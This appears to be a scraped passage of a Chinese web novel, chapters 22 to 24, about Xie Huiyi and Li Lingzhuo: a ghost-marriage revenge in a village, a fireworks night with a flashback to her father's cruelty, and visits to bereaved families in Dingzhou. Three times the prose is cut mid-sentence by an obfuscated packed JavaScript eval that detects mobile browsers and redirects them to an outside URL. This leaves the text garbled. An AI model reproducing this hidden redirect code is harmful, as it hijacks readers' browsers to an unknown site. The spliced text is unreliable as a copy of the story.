李灵濯总算松了一口气。尝到甜头,得寸进尺,贪得无厌,那股忍了一整日的钝痛让他呼吸沉重,也让他抬手将她拥入怀中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“瑶台月下疏影斜,与卿共赏岁寒香。”他将发簪交到谢晦已的掌心。 谢晦已眉目舒展,轻轻抚摸着发簪上的花瓣,“什么时候准备的?” “去山谷那日吩咐下去的,本以为耽搁了时间,没想到正是时候。” 李灵濯抬手拈去她发丝间的花瓣,随后拿到她眼前上下翻转,原先空无一物的手中,此时竟是变出一份地契。 谢晦已顿觉惊奇不已,“你竟会变戏法?” “小把戏。” 李灵濯将地契塞进她的袖中,随后又道:“打理花林需要大量人手,山谷那边获救的流民日后会来这边做工,维持生计应该不成问题。这些事情我都以你的名义办妥了,现在这座山完全属于你。” 末了,他又补了一句,“折子上没有你的名字,我吞了你的功名,这些是你应得的,莫要推辞。” 决定送她这片梅林时,他根本没有料到后面会发生这些事情。她既然不喜欢虚名,不若让这些实事落在她的头上。 拿了地契,谢晦已心里舒坦不少,“李大人替我簪上吧。” 李灵濯伸出了手。 镶玉团梅金枝簪入鬓,谢晦已仿佛镀上一层鎏金月意,美目流转,耀如春华,恍若瑶台仙子。 似是想履行自己的神职,仙子抬眸瞧着他,缓缓道出了心中所想,“这园子唯有你我共赏实在可惜,日后便对世人开放吧。” 他既然会患得患失,不妨由自己将这段过往搬上明面,由世人见证彼此心意的存在。不计来日如何,只图个当下心安,毕竟这种事情总是相互的。 李灵濯眼含笑意,缓缓点头。 于是,他们携手穿过那片梅林,伴着梅香在月下漫步。 但愿暂成人缱绻,不妨常任月朦胧。 22. 捉邪辟邪 半月后。 车队一路向北,不知李灵濯是出于何种缘故,竟是挑了一条小路绕过紧邻的永州,打算直抵定州。 于半山腰休整时,他压下前方的灌木丛,给谢晦已打开了视野,俯瞰整座城池。 连日来,碧空如洗,那深邃的蓝与这座井然有序的城池交相辉映,透露出一股井井有条的繁华。更别说,从此向北望去鲜少有丘陵重叠,平原开阔,水道错落,一望无际。 谢晦已不禁说道:“真是好景色。” 李灵濯的声音落在她耳畔:“午后我会进城捉人。你与兰畹暂留此地,如何?” “你打算何时回来?”谢晦已扭转目光,抬眸看他。 “今夜。” 念着上次两人分开就没什么好事,谢晦已只是挑了挑眉,便一言不发地转过了头。 这时,她的余光瞥见素秉向他们走来。 “主子,定州来了消息。” 谢晦已侧过了身,给素秉让开一条路,抬腿便离了灌木小路,径直去寻李兰畹。 于虞也随着他们一路北行,此时正与李兰畹交谈,见谢晦已前来,她恭声打了招呼,“谢小姐。” “姐姐,你来看。” 李兰畹恢复得不错,这些时日有谢晦已陪着开解,整个人气色都好上不少。见谢晦已靠近,她将掌心摊开,露出了一串由红绳编住的铜钱。 “这荒郊野岭的怎么会有铜钱呢?”李兰畹颇为费解。 谢晦已将其接过来,上下翻看,“你在哪瞧见的?” 李兰畹抬手一指,“那棵树下,刚才走过去被绊了一跤,我还以为是树根袒露在外呢。” 谢晦已侧目打量,只见那泥土翻起,露出了与周遭不同的深褐色。想来这铜钱是被特意埋进去的,只是这几日大雨冲刷,冲去了表面的浮土。 “这是用来辟邪的。” 谢晦已沉思片刻后,将铜钱握在手心,“你没有摔到哪里吧?” “没有,我撑着那树干站住了。姐姐是想到什么了吗?” “来时路上我瞧见了一处村落,这铜钱许是与他们有关。一文钱能买一顿饭,这里不像是能把两日饭钱随便丢弃的富庶之地。” 谢晦已摩挲着上面的文字,继续说道: “民间有五帝钱辟邪的说法,择的是贤君在位时发行的货币,但这些只是当朝钱币胡乱串上去的。虽是半吊子做法,却也能说明此人心虚有鬼,那村子定是发生过什么大事。” 更为重要的是,她脑袋里的怨念似乎有此地的记忆,不断催促她,叫她向村子里更进一步。 “这里的物价比青州略高,”于虞这时也开了口,“不过这一串钱也不是个小数目。” 谢晦已回头看向不远处与素秉交谈的李灵濯,悄声与李兰畹说道:“兰畹,你替我瞒住一会儿,就说我闲不住,去放放风。放心,我去去便回。” 山野林间。 几个呼吸间,谢晦已便已转回来时的山路。坐在溪边等马饮水时,她听见了一阵交谈声。 “怕是不成了,赶紧准备后事吧。” “八字都准备好了?大师说他们八字极合,今夜必须咽气的。” “反正就那么一口气了,咽气不咽气的有什么区别?礼成就入土,抓紧动手免得夜长梦多。” 谢晦已警觉地站起身,将马拴到一旁的树干上,随后跟着这些人一路前往村中。 可还没看见那户人家是何等状况,她就瞧见了极为怪异的景象。 身份不明的人群坐在门外,衣着光鲜宛如宾客前来观礼。此时,他们双眼直勾勾地盯着屋内,似乎是豺狼嗅到了腐肉的气息,迫切地想要将人啃噬殆尽。 这间简陋的茅草屋在风中摇摇欲坠,如同它的主人一样形容枯槁,然而却欲盖弥彰似的挂满了红绸。 本该紧闭的门窗也贴上了突兀的大红喜字,屋内时不时地传来锣鼓的声音,完全没有预料之中的死气沉沉。 只这一眼,她就明白了他们的意图——这分明就是冥婚。 于是她转头绕入小路,从背面攀上茅草屋顶,屏息凝神听着屋内的动静。 有一妇人声音沙哑,一边哭一边劝道: “好姑娘啊,你快合眼吧,你爹娘在那边等你团聚呢,那边有好日子过啊,你何必挣扎着不咽气呢?你这是绝症啊,不可能有郎中把你治好,你快些走别拖累我们了啊!” 另一男子也跟着应和道:“快合眼吧,我们给你说了一门好婚事,知根知底的人家,你嫁过去就是享福的。” 谢晦已听得心中烦闷,便从屋顶跳下,侧身躲在窗后打量屋中情形。 只见一名穿着破布衣裳的人拿着念珠,嘴里不知在诵读什么经文,听得她脑袋嗡嗡响。 床上的女子两颊凹陷面容枯黄,此刻无力地流下了一滴泪水。 那双眼睛张望着棚顶,几度要合眼,几度强撑着维持清醒,一切不过是时间的消磨,所有人都在盼着她吉时咽气。 可就在这时,屋外狂风大作,紧闭的窗户上忽然倒映着几道张牙舞爪的黑影,它们的嘴里不停发出鬼哭狼嚎的声音。 “啊——还我命来!” 一团团黑影冲破墙壁,在屋中横冲直撞,将屋内搞得一片狼藉。 那握着念珠的人率先大喊道: “闹鬼啦——快跑啊——” 屋中的人先是一愣,随后接二连三地尖叫着跑出房门。混乱之中,甚至有人跑掉了一只鞋。 谢晦已在他们身后跳进屋中,甩了甩手,手指上不断蔓延的黑气这一瞬间统统回到了体内。 屋内的女子偏过头,正目不转睛地看着她,虽然说不出话,然而她的嘴唇一直颤抖着。 谢晦已走到她面前,拉着她的手与她温声说道:“我叫谢晦已,你受苦了。那些人待你这般恶毒,你想不想报仇?” 女子眼中忽然有了光彩,然而没一会儿就再次变得暗淡。 谢晦已温柔地轻拍她的手背。 “我明白你的意思,你担心这要付出代价。其实我的要求很简单,就是你的全部心神,你可以理解为我想吃掉你的魂魄,你不必跟我说明你的怨恨,因为我会通过你的记忆明白前因后果。” 女子看着谢晦已,目光之中出现了犹豫之色。 仿佛读懂了她的顾虑,谢晦已又说道:“你放心,不是真的吞噬掉你的灵魂,不会影响你来世投胎成人的,我吃掉的只是你的想法与记忆。” 那个姑娘总算松了一口气,她的嘴唇动了动,虽然没有声音,但是谢晦已看懂了她的话。 “谢、谢。” 她已经是强弩之末了,然而屋中根本没有一个可信之人。 最终是谢晦已拉着她的手,对她缓缓说道:“好好睡一觉吧,别害怕,我会陪着你的。” 夜晚,婚礼如期而至。 那个姑娘终究没能活到晚上,她的身体被人抬起,放在一口崭新的棺材中,身上穿着大红嫁衣。 与她并排放着的棺材已然有了年头,这时也被人撬起了棺材钉。为了能让这对新婚夫妻在地下碰面,他们要在里面放上一样的陪葬物,当作是交换信物。 “吉时已到——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875699|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 幽幽女声在角落里响起,然而屋中的人却面面相觑。 “谁喊的?是你吗?” “不是我啊!我没说话!” 一道阴风飘过,屋内四角的烛火跳动了几下,一瞬间全部熄灭了。 他们吓得瑟瑟发抖,正要掏出火折子重新点灯,却听见有人大喊道: “闹鬼了!有人抓我脖子!就在这!救命啊!” 一道幽幽的女声忽然回荡在屋中: “你勒死过人,我来索命——” 重物落地声响起,房间里只余下令人毛骨悚然的回音,再无那人挣扎的气息。 剩下的几人吓得头皮发麻,不等他们反应过来,又是一人放声尖叫道: “我的脚!地上有东西!有蛇!哪来的蛇!” 女声再次响起,这次语气中带着戏谑的笑: “你以蛇毒谋财害命,该死,该死。哈哈——” 她的笑声阴冷至极,仿佛地狱中的恶鬼现身人间,代替阎王前来收尸。 屋中人在她的迷阵中皆陷入了癫狂。 “我不是故意的!我只是拿枕头轻轻一捂,谁知道她死了!” “他落水不是我推的,我只是站在岸边没有找人来救!” “求求你!放过我吧!” “啊——” 尖叫声、笑声、哭声在屋中此起彼伏。不多时,屋中只剩下了最后一人。 他茫然无措地在屋中乱跑,时不时被地上的尸体绊住,跑得踉踉跄跄,念珠早就散了一地。 他大喊道:“你是什么人?是谁的仇家?不可能有鬼!不可能真的有鬼!” “是啊,你才是罪大恶极之人。” 如鬼魅般的声音这次忽然贴在了他耳边,阴湿的气息仿佛能拍打在他的脸颊上,这时听她幽幽说道: “你装神弄鬼,罔顾人伦,下地狱吧。” 直到解决掉这最后一人,谢晦已才在黑暗中打开了火折子。 她的眼瞳中倒映着每一张脸,每一个人身后都有他们犯下的罪行,甚至有些时候不必由她动手,这位姑娘的意识便越过她率先采取了行动。 她随手一丢,火折子落地的那一刹那,屋内再次燃起了熊熊大火。 那些豺狼的眼睛不见了,余下的只有大仇得报的心安。 火光中,谢晦已从棺材内背起了那位姑娘,带着她走进了无尽黑暗的山林。 村子里的人很快就注意到了这边的动静。 “走水啦!” “这是谁家?” “陶家的那个小姑娘吧?” 他们提着水桶来救,然而火势过于旺盛,整座茅草屋最终在众人眼前轰然倒塌。 “怎么就起了火呢?” “他们家不是要办丧事?怕是纸钱刮到了茅草上。” 在众人的议论声中,谢晦已在半山腰处回过了头。 替那位姑娘换上一身漂漂亮亮的衣裙后,谢晦已将她埋进了事先挖好的深坑之中。 下面铺满了鲜花,封土之前,谢晦已又将五颗桃子深深埋在地下。 “吃吧,陶昕,我知道你最喜欢桃子了。你娘给你种的那棵桃树,来年会结果的。” 谢晦已将她的名字刻在墓碑上,起身拜了拜,离开了那处山野。 她心里压制的怨念就在这时如烟消散,下意识地,她再次走到李灵濯带她去的那处灌木丛,坐在山崖边上,俯瞰整座定州城。 夜色朦胧,风声呢喃,她不禁闭上了双眼,听见远方的清风寄来一道清脆的女声。 “谢谢。” 23. 如梦泡影 火光摇曳在夜幕中。 李灵濯在酒楼与人推杯换盏时,也注意到了山上的那一点星火。 那里是谢晦已离开的方向,会有这样的巧合吗? 他是不信的。 身侧的官员生怕落个防火不当的罪名,连忙解释道:“李大人,应当是天干物燥,村子里的人时常在田地里焚烧秸秆,下官明日一定去教训他们。” 不料,李灵濯却对他微微一笑,似是心情不错,“不必,老鼠打翻了油台,它也是要过冬的。” 官员不知他到底什么打算,连忙又说道:“下官这就去派人救火。” 救火? 李灵濯是不认同的。去了一堆人的话,她可怎么脱身? “今夜无风,那里又靠着溪流,等你带人过去,那一点火星子早就灭了。” 他一边说着,一边转头叫来素秉。 素秉恭声询问道:“主子有何吩咐?” 李灵濯抬手指着那一处光亮,“你去把定州城的烟花都买下来,让那边看得到。” 说罢,他忽而拉开了木窗,由二楼纵身一跃,解下一马,恣意而去。 定州的夜,稍许寒凉。 谢晦已牵着马,刚想离开山坡,忽然瞧见一道火星摇曳,进而划破了天际。 她不禁停下脚步。 紧接着,烟火在夜幕中炸开,余晖猝不及防地闪入她的眼瞳,然而这只是万花丛中的第一抹殊色。 如星河流淌、如万花盛开、如飞鸟报春、如流星闪烁,数不清的烟火节节攀升,于璀璨金光之中酝酿盛大的绽放,收尾时的星星点点瞬间摊满整片夜空…… 色彩层出不穷,在星河下摇曳出夺目的光芒,她根本移不开眼。 难道今日是什么节日吗?谢晦已疑惑不已。 许久不见烟花,上一次赏看,还是外祖父替她放的。院子里小小的一簇,惊得门后的笨鸡到处乱窜,窝里的羽毛飞得满天都是。 那时,她拿着香火去点下一支,后撤时踩了厚重的氅衣一角,笨拙地摔在地上。而烟花猛地升空而起,她的脑袋上传来了毛皮燃烧的味道。 她试探地摸了摸,发现帽檐的狐毛都烧焦了,烫得她直接缩回了手,来不及从地上爬起身,便一个翻身,直接将脑袋插进一旁的雪堆,双手慌乱地往帽子上扒雪。 “阿黎!阿黎!”老者丢掉手杖,火急火燎地跑下石阶,将她从雪里提起来,“有没有伤到?快给外祖父看看。” 谢晦已拍了拍满脸的雪,哭丧着脸说道:“外祖父,你刚给我做的衣裳坏了。” “别哭别哭,外面刮风呢,”外祖父拿着帕子给她擦拭泪水,又在她鼻子上轻轻一拧,“衣服没了还能再做,下次给你换个更漂亮的皮毛。这破烟花,乖阿黎别跟它一般见识。” “不不不!我就要这件衣裳!”谢晦已抬脚将地上的香火踩了又踩,赌气道,“我讨厌它,我再也不点烟花了!” “好,外祖父想想办法给你补好。你今日还想不想看烟花?” 谢晦已闹了脾气,捂着耳朵走到一边,“我不要听。” “阿黎这是怕火了?” 谢晦已默不作声,只扭过头,委屈地看着那燃尽的爆竹空壳。 “你不是很喜欢烟花吗?来,外祖父帮你点上。” 外祖父又点了一支香火,引着谢晦已的手,一同走向院门,将那空壳踢到一旁的雪堆里。 “火很危险,但是我们阿黎这样聪明,下次一定不会再受伤了。” 眼看那引线被点燃,谢晦已犹如受惊的兔子,捂着耳朵头也不回地跑到石阶上。余魂未定中,又是一簇烟花腾空而起,在夜幕中摇曳出一道金光。 “你看,这不是成功了吗?是不是没那么害怕了?” 谢晦已小声说道:“还是怕,下次……下次我要脱掉外衣去点它。” “傻孩子,那样不就把你冻坏了?等过了冬,外祖父去江南给你寻一个药发木偶来。那东西又高又大,引线长着呢,等明年除夕放给你看好不好?” “真的?外祖父说话算话?”谢晦已的眼睛亮晶晶的。 “外祖父什么时候骗过你?来,拉钩。” 没过多久她就将此事抛诸脑后,然而外祖父还记得这个约定,等安顿好京城这边的事务,他于那个夏天动身去了江南。 那时谢晦已刚生了一场风寒,不宜舟车劳顿,却仍旧不死心,扒着车辕不肯撒手。家丁们哄着她,好说歹说,才让她打消了跟着一起跑去江南的念头。 她就这样闷闷不乐地过了一月。外祖父在月中寄来了书信,说是手艺人找到了,可制作还要耗些时日,他刚好留在那边处理些琐事。 谢晦已盼啊盼啊,就这样又度过一月,可外祖父还是没有归来。不过,那只药发木偶拆开分箱寄回了京郊,家丁们看不懂那些部件,将其精心存放在库房中,说是要等人回来再组装。 又是一月匆匆而过,院子里的桂花树早早结了花苞。她弹琴弹得走音,烦闷时跑到院门外,刚好瞧见一位不速之客,姓卢,似是母亲的一位故交。她正想开口,耳边忽然传来家丁的一声怒喝。不等她做出反应,那家丁已扛起扫帚将人赶出了巷口。 原来他就是自己的父亲。 谢晦已倚在巷道口,好奇地探出脑袋。母亲早逝,外祖父对生父之事只字不提,家丁们更是三缄其口,她真不知父亲究竟是怎样的人。 等入了冬,这姓卢的嘘寒问暖,来得更频繁了。他每次都带着城中的时兴玩意,还给自己打了一对银镯子,说是为了让她顺遂如意。 “我母亲是个什么样的人?”她问出了困扰她多年的问题。 父亲温和一笑,满眼都是遗憾,却掺了几分谢晦已看不懂的冰冷,“她最擅长不辞而别。” 等寒风凛冽时,谢晦已没有叫人叮嘱,主动穿上了毛皮大氅。外祖父迟迟未归,音信全无,她看得出家丁们的心神不宁,自然不愿再生一场病给他们添乱。 可人算不如天算,入了夜,不知是谁将屋中的炭盆撞翻了。 那场大火烧得太快,谢晦已艰难地爬到门外,转头便瞧见院子里躺了一堆人。 她被烟雾呛得喉咙肿痛,喊了半天也叫不出一个完整的音节,好在,有人将她从地上扶了起来。 是父亲。 她抓着他的衣角,哭得上气不接下气,“走水了!院子里走水了!求你救救他们!” 可父亲的回答却驴唇不对马嘴:“宅子里的下人毛躁,一时不慎打翻了炭盆。这冷风一起,木头烧得又快,屋子早晚要塌。” 谢晦已止住哭声,虚弱地询问道:“你能救救他们吗?他们都是很好很好的人,是我的家人。” 不料,父亲的目光却不复往日那般和煦。他的瞳底此刻翻涌着阴冷,对年幼的她,对着孤苦伶仃的她,他口中只余下恶毒的咒骂。 “小畜生,谁许你活下来的?你外祖父都老老实实跳崖了,你怎么不随他去了呢?” 闻言,谢晦已不可置信地瞪大了双眼。 “你胡说!”她推开了父亲,“你胡说!我不信!我要去找他!” “啪”。 父亲失了耐心,一个巴掌将她扇翻在地。 仿佛在宣泄内心的愤懑,他的神情越发癫狂,“闭嘴!最讨厌你这种叽叽喳喳的死孩子,听不懂话只会哭、哭、哭。谢贵死了,这次你听懂了吗?跟谢琼芳那个死人一样,都死了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875700|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢晦已的耳朵被打得嗡嗡作响。她蜷缩在冰冷的雪地,“哇”地一声吐出鲜血,却再也没有落下一滴泪。 劫后余生的松懈在这一刻通通化作难咽的刀子,抵在她的喉咙,凉了她整颗跳动的心,也叫她手脚麻木瘫软,竭力地咬着嘴唇维持清醒,不断希冀着今夜只是一场噩梦。 可最终,她没能从噩梦中醒来。顺他的心如他的意,那对银镯子化作沉重的镣铐,将她押送至青州,困住了她整整十年。 如梦幻泡影,也如物是人非,如今看见今夜这场烟火,谢晦已却只觉得心如止水。 或许正如李灵濯所言,烟火未必要留待除夕欣赏,转瞬即逝的物事何时都紧握不住,唯有当下,唯有将自己的去留握在掌心,才是最要紧的事情。 她的目光随着烟花越升越高,待它消散后,又垂下眼眸,去期待下一簇艳色。也正在此时,她忽然注意到,不远处多了两道影子。 一人一马静立在山上,他在等,她在看,不动声色间,万家灯火都成了他的陪衬。 他们默契地相视一笑,随后李灵濯背离着夜幕的漫天流火,仿佛从世俗中挣脱,一步一步向她走来。 谢晦已站在原地等他,面上带着似有似无的笑,“李大人今夜不需要应酬?觥筹交错,明明是把酒言欢的时候,倒是想起我来了。” 李灵濯垂眸一笑,“整整一日未见,耳边清净了反而不习惯。” 说到这里他停顿片刻,转而打趣道:“又杀了人?真是一刻也不消停。” “狗鼻子,”谢晦已将手递到他鼻前,“难道还有血腥味儿?” “我在酒楼看见山上有火,就猜到是你了,”李灵濯轻咬了一下她的手心,“你身上香着呢。” “喂!” 谢晦已猛地将手缩了回来,继而退到离他几步远的位置,“我刚钉完棺材还没洗手。” 况且,她这一天又是挖坑又是搬运尸体又是钉棺材的,哪件事情跟香有关系?莫不是他鼻子出了问题? 念及于此,她又嫌弃地说道:“你今夜不准亲我。” 李灵濯微微一愣,而后较劲儿似的把她扯回自己身边,“城中处理得差不多了,今晚你跟不跟我入城?” 谢晦已摇了摇头,“忽然不想了,成天这个大人那个大人的,几个官员围谈一整天也干不成一件事情,跟你回去好没意思。” “跟我回去没意思?”李灵濯笑着反问,语气之中存着些许阴戾。 谢晦已双手捧起他的脸颊,轻声细语地哄道:“难道见那些官员很有意思?” “我带你翻墙进去,把你藏在屋子里,他们见不到你就好了。” “李大人喝醉了?” “我何时醉过?” 谢晦已露出一言难尽的神情,找了半天措辞,“那你这是打算金屋藏娇?” 李灵濯双眼眯起,似是在认真思考这件事情,嘴上却是轻笑道:“怎么会呢?” 趁她不备,他忽然将人打横抱起,掳上了马。 “说好留我在山上,怎么出尔反尔了?”谢晦已对他的行径见怪不怪,故作挣扎,几欲跳下雪影。 李灵濯将她按在马背上,虽是一句命令,却带着几分柔声的恳求,“谢晦已,你跟我回去。” 谢晦已抬手抚过他微烫的脸颊,“这般缠人,李大人真没喝醉?” 她还想打趣几句,却被李灵濯堵住了嘴。 他们掠过人山人海,在繁华灯火的罅隙中走过,满耳热闹喧嚣、定州城的酒肆街坊统统在他们身侧转瞬即逝。 她听不见刮耳的风声,因为他将她藏于大氅之下,天地间唯有他们二人,与他们唇齿间的缠绵。 她最终还是留了下来。 24. 落叶归根 翌日。 “别乐不思蜀,晚上记得早些回来。” 临行前又听见这话,谢晦已脚步一顿,转身朝他摆了摆手,“李大人,再一再二不再三啊,我耳朵都快起茧子了。” 李灵濯在她这碰了钉子,下意识地看向跟她一起出门的李兰畹。 他昨夜叫墨承去接他们一行人入城,又给谢晦已透露了定州的弯弯绕绕,本想着能让她老实几日,却没想到她稍一琢磨,竟拐带着李兰畹一起跑了,还美其名曰“为他分忧”。 他刚想再叮嘱一句,可一想到李兰畹唯她马首是瞻的态度,最终选择闭上了嘴。 李兰畹哀怨地收回目光,又转头看了一眼谢晦已,最终默默摇了摇头。 兄长始终板着一张脸,看着就不好说话,她在跟前站着都发怵,如今这副模样叫她撞了个正着,不会被他灭口吧? 念及于此,她赶紧挽住了谢晦已的胳膊,脚步轻快地迈过门槛,“姐姐今日想去什么地方?” 谢晦已回想着昨日之事,待走远了些才出声:“兰畹,你对青州案知晓多少?” 李兰畹沉思后作答:“于夫子与我分析过,此案牵扯甚广,如今并没有彻底了结。兄长来到定州,也是为了追查下去。” 谢晦已见她知情,这才继续说道:“昨日我拿着铜钱去寻人,山里那村子确实有蹊跷。有一位患有心疾的姑娘,她父母也是青州案的受害者,离开山谷后,她便跟着舅舅一家生活。她昨夜才过身,她舅舅却早早给她配了冥婚,还好我去得及时,将她葬在了南面那座山上。” 她一边说着,一边动了动指尖,调动着体内的念力。 那些“工蚁”的怨念需要时间来化解,然而昨日帮陶昕入土为安后,她发现有一点怨念竟转化为纯澈的心念为她所用——里面包含的正是父母对女儿的思念。 这令她不禁猜想:怨念能通过达成死者心愿来进行化解,最终于她的修行大有裨益。 “若不是寄人篱下,兴许她能过上一阵快活日子。”李兰畹闻言不禁叹息一声。 “放心吧,他们现在已经见面了。” 谢晦已意味深长地一笑,“我昨夜向你兄长讨了一份涉案名单,有几位死者的亲人住在定州。恤金早就发放下去了,山高路远,也不知有没有交到家属手中。你愿不愿意随我走一趟?” 这是一个颇为合理的幌子,能叫她帮那些怨念叶落归根。谢晦已相信,走这一遭于修行而言,不会没有裨益。 李兰畹点头道:“自然是愿意的。” 二人坐着水道上的行舟,接连过了好几座石拱桥,一边欣赏着两侧的风景,一边感叹定州不愧号称为“水都”,那四通八达、经流每一户人家的水道当真是特别。 那船夫自告奋勇做了她们的向导,为她们介绍道:“这些水都来自于绥江,虽然我们地势低洼雨水充沛,但是有工部修筑的堤坝在,定州十余年未发生过水患了。” “水患?”李兰畹好奇地看向河道之中绿汪汪的水,“这水流速这样慢,竟然也会酿成水患?” “姑娘有所不知,从前下雨涨水,水面升了,我们的田地就要跟着遭殃,塘里的鱼想抓都抓不回来。” 船夫哈哈大笑,颇为骄傲地指向定州城西面。 “如今那边有堤坝拦着水呢,你站在西边的城楼上,就能看见它。高得很啊,绥江仿佛在天上流。我们江南五州都靠着它吃饭,要是没它啊,雨季一来,河水一改道,嘿,族谱都得从下一代重新开头了……” 谢晦已几度昏昏欲睡,动了动久坐而有些酸痛的腰,指着刚刚经过的那座石桥,忽然打断道: “师傅,怎么这么久还没有到?我们不会在水道上迷路吧?我总觉得这座石桥很眼熟。” “不会的,我在这里干了多少年了,不会走错的,除非是鬼打墙哦。哎呀,你给的那个住家还真是邪门的那家。” 听见船夫这样说,谢晦已不禁追问:“什么邪门?” “那附近听说是闹鬼,我也不太清楚,你随便向旁人打听吧,我可不敢说了啊。” “真有这样邪门?” “哎呀姑娘,你可别再问了啊。” 似是颇为忌讳,船夫忽然变得沉默寡言,任她如何打听都不肯再多说一句话。 随后行舟抵岸,二人一前一后下了船。 望着长满了爬山虎的墙壁,与那扇显然很久没有打开的窗户,李兰畹咽了咽口水,有些迟疑地看向谢晦已。 “姐姐,真的是这里吗?” 谢晦已感受着体内一抹怨念的波动,笃定地点点头,“就是这里。” 李兰畹深吸一口气,压着心底的胆怯,抬手去敲门。 刚敲第一下,那扇门就落下了厚厚一层灰,两人被呛得咳嗽半天。 “这也不像是有人住的样子啊。”李兰畹嘟囔道。 “我来。”谢晦已抖出帕子捂住口鼻,不顾礼节直接推开了大门。 然而,扑鼻而来的是一股熟悉的恶臭。 谢晦已与李兰畹颇有默契地对视一下,随后去请来了衙门的人。 几条船将水道堵得满满当当。 仵作将尸体搬去检验。李灵濯带着几名官员站在门外,似笑非笑地看着院子里的谢晦已。 谢晦已知道他心里在想什么,赶忙走到他身边交代道:“这次真不是我干的,你看那尸体明显死了好多天了。” “我瞧得出来,倒也没真的怀疑在你头上。” 李灵濯颇为无奈地看着她,“定州那么大,你非要来这里?你听没听见外面的传言?” 谢晦已一脸诧异地看着他:“不会是说这里邪门吧?” 李灵濯幽幽答道:“是啊,这里闹鬼很久了,入了夜便有鬼哭狼嚎之声。” 谢晦已上下打量他:“怪力乱神之说你也信?” “倒是不信,”李灵濯微微一笑,“只是担心有人会被绊住手脚。” “那就请李大人尽快结案,免得夜长梦多。”说罢,谢晦已抬腿欲走。 李灵濯伸手拦下她,“谢小姐不考虑接着妨碍一下我的公务?” “想找人作陪还说得那般文雅,”谢晦已勾了勾他的掌心,随后将他一把推开,“可惜我也有正经公务在身。李大人挡路了,还请让开。” 她拿着地址,带李兰畹去拜访下一户人家。 这次等着他们的是一对老夫妇,去世的人是他们常年在外的独子,然而他们至今都不知晓真相,误将恤金当成是儿子从外地寄回来的钱。 谢晦已弄清来龙去脉后,又给了他们一大笔钱,同样没有道破真相,让这个善意的谎言延续了下去。 走出屋门时,李兰畹长呼一口气,郁结已久的压抑总算舒缓开来。 “方才他们哭得那样伤心,又问我他们的儿子有没有留下什么话,我真是险些编出话来,还好你拦住我了。谁能猜到他们儿子是不识字的哑巴呢?” “我起初也没想到,但是我问清楚恤金那件事后,忽然觉得有些不对。” 谢晦已早就手握答案,这会儿对李兰畹随口胡诌了一段,“恤金如此丰厚,且没有附带任何书信,还是衙门的差役亲自送达,这件事足够奇怪了,他们竟以为这是儿子寄回来的积蓄。 “我那时便觉得,死者应当很少与他们联系,甚至可能是无法联系。我想上一位差役也是这样做的。” 这时,谢晦已动了动指尖,感受到体内怨念逐渐化为一股暖流,缓缓流向全身。 她的猜想果然不错。在不知道亡者心愿的情况下,帮他们落叶归根总是没有错的。 “那位叶姓的差役真是个好人。”李兰畹不禁感叹道。 “替百姓着想的人自然不会差。”谢晦已也认同这一点。 然而,在看下一处姓名与住处时,谢晦已忽然愣了会儿神,随后举起字条对准了阳光,翻来覆去地看。 “怎么了?”李兰畹的脑袋也凑了过来。 谢晦已将字条递到她眼前,“你看他姓什么?会是巧合吗?” 李兰畹沉吟许久,最终一脸茫然地抬眸看她。 “姐姐,这几个字我还没学呢。” 谢晦已无奈一笑,对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875701|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖起了关子,“那正好,你瞧瞧天底下会不会有这样巧的事。” 她们坐上船,绕了一大圈返回城中。 李兰畹这回晕了船,紧紧靠在谢晦已肩膀上,面色苍白,“还没到吗姐姐?方才我们没有绕路吗?” “没有,你再忍忍,很快就要到了。”谢晦已拍着她的肩膀,试图让她好受些。 等船靠了岸,谢晦已赶忙搀着李兰畹下了船。 李兰畹得了自由,也顾不得什么矜持,一屁股坐在岸边,大口呼吸着新鲜空气。 “脚终于落地了,我快晕死了。” “我去给你讨杯热茶。” 谢晦已笑了一声,也不敢多耽搁,上前敲开了那户人家的门,直截了当地跟她表明了来意。 门内是一位年轻妇人,姓张,不等谢晦已解释完毕,就将她们迎了进来。 “你们从哪里来?没怎么坐过船吧?” 张夫人走到后院净了一个杯子,给李兰畹递过来一杯热茶,关切地询问道。 “多谢张夫人,”李兰畹虚弱一笑,有气无力地说,“我来自青州,从未坐过船。” 张夫人不禁感叹道:“你们大老远的来这边真是辛苦。这地界我熟悉,回头等你们缓过神,尽管向我打听好去处。” “有劳夫人,那我便不客气了。” 提到游玩,李兰畹顿时来了精神,“来的路上听船夫说定州盛产绥鱼,夫人可知哪里的绥鱼最为鲜美?” “说起来也不怕姑娘笑话,”张夫人尴尬一笑,“定州最好的绥鱼啊,都被隔壁永州花了大价钱收了去。我们本地人,吃的都是略逊一筹的。” 